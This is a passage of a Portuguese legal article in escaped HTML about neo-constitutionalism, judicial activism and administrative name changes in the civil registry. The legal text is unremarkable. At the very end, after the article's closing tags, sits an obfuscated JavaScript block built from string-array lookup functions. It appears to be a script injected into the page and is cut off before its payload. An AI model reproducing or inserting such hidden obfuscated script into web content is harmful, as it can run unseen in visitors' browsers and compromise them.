constitucional, ao qual um novo modelo de constitucionalismo institui instrumentos normativos e institucionais pautados na prote&ccedil;&atilde;o dos direitos fundamentais. A filtragem hermen&ecirc;utica-constitucional propiciada por esse novo paradigma do direito conduz as realiza&ccedil;&otilde;es da ci&ecirc;ncia jur&iacute;dica aos crit&eacute;rios de facilita&ccedil;&atilde;o de acesso &agrave;s prerrogativas essenciais da personalidade do indiv&iacute;duo<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn21\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[21]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">O positivismo representa a obedi&ecirc;ncia irrestrita ao conte&uacute;do normativo, e, disp&otilde;e o entendimento da soberania do direito ante uma comunidade pol&iacute;tica<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn22\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[22]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">. Assevera-se a Constitui&ccedil;&atilde;o Federal possui uma dimens&atilde;o pol&iacute;tica que determina uma interpreta&ccedil;&atilde;o menos t&eacute;cnica dos casos concretos, a Carta Magna propicia a comunica&ccedil;&atilde;o entre o fato pol&iacute;tico e a ordem jur&iacute;dica, entre o poder que j&aacute; est&aacute; estabelecido na sociedade e aquele que luta por se estabelecer<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn23\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[23]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse vi&eacute;s:&nbsp;<\/span><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Um tribunal constitucional dever&aacute; agir com ousadia e ativismo, nos casos em que o processo pol&iacute;tico majorit&aacute;rio n&atilde;o tenha atuado satisfatoriamente, e com prud&ecirc;ncia e autoconten&ccedil;&atilde;o em outras situa&ccedil;&otilde;es, para n&atilde;o exacerbar aspectos do car&aacute;ter contramajorit&aacute;rio dos &oacute;rg&atilde;os judiciais, vulnerando o princ&iacute;pio democr&aacute;tico.<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn24\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[24]<\/span><\/a><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Deve-se asseverar a import&acirc;ncia do Registro Civil das Pessoas Naturais para a consecu&ccedil;&atilde;o do direito ao nome enquanto direito fundamental para todos. Por meio do registro tem-se a publiciza&ccedil;&atilde;o da cidadania do indiv&iacute;duo, que em termos diretos significa o ganho de deveres e direitos perante todo o escopo social. O Registro Civil das Pessoas Naturais pode ser alterado de modo administrativo e tal ocorr&ecirc;ncia j&aacute; era permitida no caso de erro evidente cometido pelo Oficial Registrador, ao qual o artigo 110 da Lei de Registros P&uacute;blicos disp&otilde;e o procedimento<\/span><a href=\"https:\/\/mail.google.com\/mail\/u\/0\/#m_-1631270823598651421_m_-8803796846431169561__ftn25\" style=\"color: rgb(17, 85, 204);\" title=\"\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">[25]<\/span><\/a><span style=\"font-family:times new roman,serif; font-size:10.5pt\">.<\/span><\/p>\n<p style=\"text-align:justify\"><span style=\"font-family:times new roman,serif; font-size:10.5pt\">Nesse sentido, a a&ccedil;&atilde;o de desburocratiza&ccedil;&atilde;o da altera&ccedil;&atilde;o do nome no registro civil coaduna com o processo pr&oacute;-positivista do direito, em que a realiza&ccedil;&atilde;o da dignidade humana &eacute; o par&acirc;metro para o comportamento das institui&ccedil;&otilde;es. Al&eacute;m disso, ao possibilitar a preserva&ccedil;&atilde;o da ordem democr&aacute;tica, com os seus valores de igualdade, liberdade, e destaque &agrave; defesa da pessoa est<\/span><\/p>\n<\/div>\n<\/blockquote>\n<\/div>\n<\/blockquote>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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